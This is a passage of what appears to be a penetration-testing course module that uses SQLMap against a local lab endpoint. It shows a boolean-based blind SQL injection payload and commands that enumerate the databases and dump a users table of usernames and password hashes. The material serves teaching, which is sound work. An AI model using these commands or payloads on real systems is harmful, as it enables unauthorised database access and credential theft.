

```
[*] starting @ 17:44:16 /2022-12-12/
```

```
[17:44:16] [INFO] testing connection to the target URL
[17:44:16] [INFO] testing if the target URL content is stable
```

<SNIP>

```
Parameter: u (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: u=maria' AND 8717=8717 AND 'tkQZ'='tkQZ
```

<SNIP>

After a little while, SQLMap will print out that it successfully identified a `boolean-based SQLi` vulnerability and give us the `payload` it used. With a confirmed injection point, we can move on to listing all the databases by adding the `--dbs` flag.

```
PS C:\htb> python .\sqlmap.py -u http://localhost/api/check-username.php?
u=maria -batch --dbs
```

<SNIP>

```
[17:55:23] [INFO] fetching database names
[17:55:23] [INFO] fetching number of databases
[17:55:23] [INFO] resumed: 6
[17:55:23] [INFO] resumed: amdonuts
[17:55:23] [INFO] resumed: master
[17:55:23] [INFO] resumed: model
[17:55:23] [INFO] resumed: msdb
[17:55:23] [INFO] resumed: tempdb
[17:55:23] [WARNING] running in a single-thread mode. Please consider usage
of option '--threads' for faster data retrieval
[17:55:23] [INFO] retrieved:
[17:55:23] [WARNING] (case) time-based comparison requires reset of
statistical model, please wait..... (done)
[17:55:23] [WARNING] it is very important to not stress the network
connection during usage of time-based payloads to prevent potential
disruptions
```

```
[17:55:23] [WARNING] in case of continuous data retrieval problems you are
advised to try a switch '--no-cast' or switch '--hex'
available databases [5]:
```

```
[*] amdonuts
[*] master
[*] model
[*] msdb
```

```
[*] tempdb

[17:55:23] [INFO] fetched data logged to text files under
'C:\Users\bill\AppData\Local\sqlmap\output\localhost'

[*] ending @ 17:55:23 /2022-12-12/
```

In the output above we can see that there are five databases on the server. Out of them all, `amdonuts` is the most interesting one to us. We can select this database and list the tables with the following command.

```
PS C:\htb> python .\sqlmap.py -u http://localhost/api/check-username.php?
u=maria -batch -D amdonuts --tables

<SNIP>
[17:57:26] [INFO] fetching tables for database: amdonuts
[17:57:26] [INFO] fetching number of tables for database 'amdonuts'
[17:57:26] [INFO] resumed: 1
[17:57:26] [INFO] resumed: dbo.users
Database: amdonuts
[1 table]
+-----+
| users |
+-----+

[17:57:26] [INFO] fetched data logged to text files under
'C:\Users\bill\AppData\Local\sqlmap\output\localhost'

[*] ending @ 17:57:26 /2022-12-12/
```

In this case, `users` is the only table in the database. We can dump it with the following command. Note that we excluded the `-batch` flag this time. This is because SQLMap will try to crack hashes by default, which I'm not interested in doing.

```
PS C:\htb> python .\sqlmap.py -u http://localhost/api/check-username.php?
u=maria -D amdonuts -T users --dump

<SNIP>
[17:59:58] [INFO] fetching columns for table 'users' in database 'amdonuts'
[17:59:59] [INFO] resumed: 2
[17:59:59] [INFO] resumed: password
[17:59:59] [INFO] resumed: username
[17:59:59] [INFO] fetching entries for table 'users' in database 'amdonuts'
[17:59:59] [INFO] fetching number of entries for table 'users' in database
```

```

'amdonuts'
[17:59:59] [INFO] resumed: 3
[17:59:59] [WARNING] in case of table dumping problems (e.g. column entry
order) you are advised to rerun with '--force-pivoting'
[17:59:59] [INFO] resumed: <SNIP>
[17:59:59] [INFO] resumed: maria
[17:59:59] [INFO] resumed: <SNIP>
[17:59:59] [INFO] resumed: admin
[17:59:59] [INFO] resumed: <SNIP><SNIP>
[17:59:59] [INFO] resumed: bmdyy
[17:59:59] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further
processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: amdonuts
Table: users
[3 entries]
+-----+-----+
| password | username |
+-----+-----+
| ...SNIP... | maria |
| ...SNIP... | admin |
| ...SNIP... | bmdyy |
+-----+-----+

[18:00:02] [INFO] table 'amdonuts.dbo.users' dumped to CSV file
'C:\Users\bill\AppData\Local\sqlmap\output\localhost\dump\amdonuts\users.csv'
,
[18:00:02] [INFO] fetched data logged to text files under
'C:\Users\bill\AppData\Local\sqlmap\output\localhost'

[*] ending @ 18:00:02 /2022-12-12/

```

Note: For more on SQLMap's blind injection options, you may refer to the [SQLMap Essentials](#) module.